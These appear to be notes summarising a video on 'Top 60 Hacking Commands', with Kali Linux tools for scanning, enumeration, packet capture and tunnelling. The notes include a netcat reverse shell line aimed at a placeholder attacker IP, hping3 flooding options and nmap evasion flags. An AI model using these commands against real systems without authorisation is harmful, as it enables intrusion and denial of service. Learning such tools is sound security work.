💻

Top 60 Hacking Commands

Jul 16, 2024

Top 60 Hacking Commands

Introduction

  • Environment Setup:
    • Free Kali Linux Sandbox available.
    • Instructions and resources in the video description.
    • Cheat sheet provided.
  • Basic Command: ping
    • Checks if a host is up.
    • Default sends 64-byte packet.
    • Options:
      • -S: Specify packet size.
      • -F: Flood with large packets.

Advanced Network Utilities

  • IFtop:
    • Install: apt install iftop
    • Monitor network traffic.
  • Hping3:
    • Install: apt install hping3
    • Flood packets on specific ports (e.g., port 80).
    • Options:
      • -S: TCP packet.
      • -V: Verbose mode.
      • -F/--flood: Flood mode.
      • -1: ICMP packets for trace route.
      • -P: Specify port.
      • -A: Set ACK flag.
      • --baseport: Change base port.
  • P-Tunnel:
    • Install: apt install ptunnel
    • Tunnel TCP packets over ICMP.
    • Visualization with tcpdump:
      • Install: apt install tcpdump
      • Command: tcpdump -i any icmp

Command Line Tricks

  • vim Dash History Trick: TomNomNom
    • Pipe command output to Vim: command | vim -
    • Use %! to edit and process output.
  • Nmap:
    • Install: apt install nmap
    • Network scanning and service discovery.
    • Options:
      • -sn: Host discovery without port scan.
      • -sV: Service version detection.
      • -O: OS detection.
      • -Pn: No ping.
      • -sL: List hosts in network.
      • --script vol: Vulnerability scan.
      • --script malware: Malware scan.
      • -A: Aggressive scan.
      • -F: Fragment packets.
      • --source-port: Change source port.
      • -D: Decoys.
  • Masscan:
    • Install: apt install masscan
    • Fast network scanning.
    • Options:
      • --rate: Set scan rate.
      • --randomize-hosts: Randomize scan order.

Fun Utilities and Command-Line Humor

  • Steam Locomotive (SL):
    • Displays a train on the terminal.
  • /dev/urandom:
    • Outputs pseudo-random data.
  • Alias for Fun:
    • Example: alias sl='cat /dev/urandom'

Information Gathering

  • Whois:
    • Install: apt install whois
    • Retrieve domain info (e.g., whois microsoft.com).
  • WhatWeb:
    • Install: apt install whatweb
    • Discover web technologies in use (e.g., whatweb networkchuck.coffee).
  • Curl Tips by NahamSec:
    • Basic command: curl -I http://example.com
    • Pass custom headers: curl -H 'Authorization: token' http://example.com
  • Nickto:
    • Install: apt install nikto
    • Web server vulnerability scanner (e.g., nikto -h networkchuck.coffee).
  • GoBuster:
    • Install: apt install gobuster
    • Directory and file enumeration on web servers.
    • Options:
      • dir: Directory mode.
      • -u: Specify URL.
      • -w: Wordlist.
      • dns: Subdomain enumeration.

Exploit and Subdomain Enumeration

  • SecLists:
    • Install: apt install seclists
  • Sublist3r:
    • Install: apt install sublist3r
    • Subdomain enumeration: sublist3r -d networkchuck.com
  • WPScan:
    • Install: apt install wpscan
    • Scan WordPress sites.
    • Options:
      • --url: URL.
      • -e u: Enumerate users.
      • --api-token: API token for extended features.
  • Amas:
    • Install: apt install amass
    • Subdomain enumeration: amass enum -d networkchuck.com
    • Passive enumeration: amass enum -passive -d networkchuck.com

Git and Other Command-Line Tools

  • Git:
    • Install: apt install git
    • Clone repositories: git clone <repo>
  • Searchploit:
    • Install via git.
    • Search exploits: searchploit ssh
    • Update database: searchploit -u

Session Management and Multiplexing

  • Tmux:
    • Install: apt install tmux
    • Start new session: tmux new -s name
    • Detach: Ctrl+B, D
    • List sessions: tmux ls
    • Attach to session: tmux attach -t name

SSH and Reverse Shells

  • SSH Commands:
    • Run remote commands: ssh user@host command
    • Set up SOCKS proxy: ssh -D -C -q -N user@host
  • Netcat:
    • Install: apt install netcat-traditional
    • Reverse shell: nc -e /bin/sh attackerIP port
    • Chat server: nc -lvp port

Capture and Analyze Traffic

  • Tcpdump:
    • Basics: tcpdump -i interface -w file.pcap
    • Read capture: tcpdump -r file.pcap
  • Tshark:
    • Install: apt install tshark
    • Capture packets: tshark -i eth0 -w capture.pcap
    • Read capture: tshark -r capture.pcap
    • Filter: tshark -Y 'http.request.method == "GET"'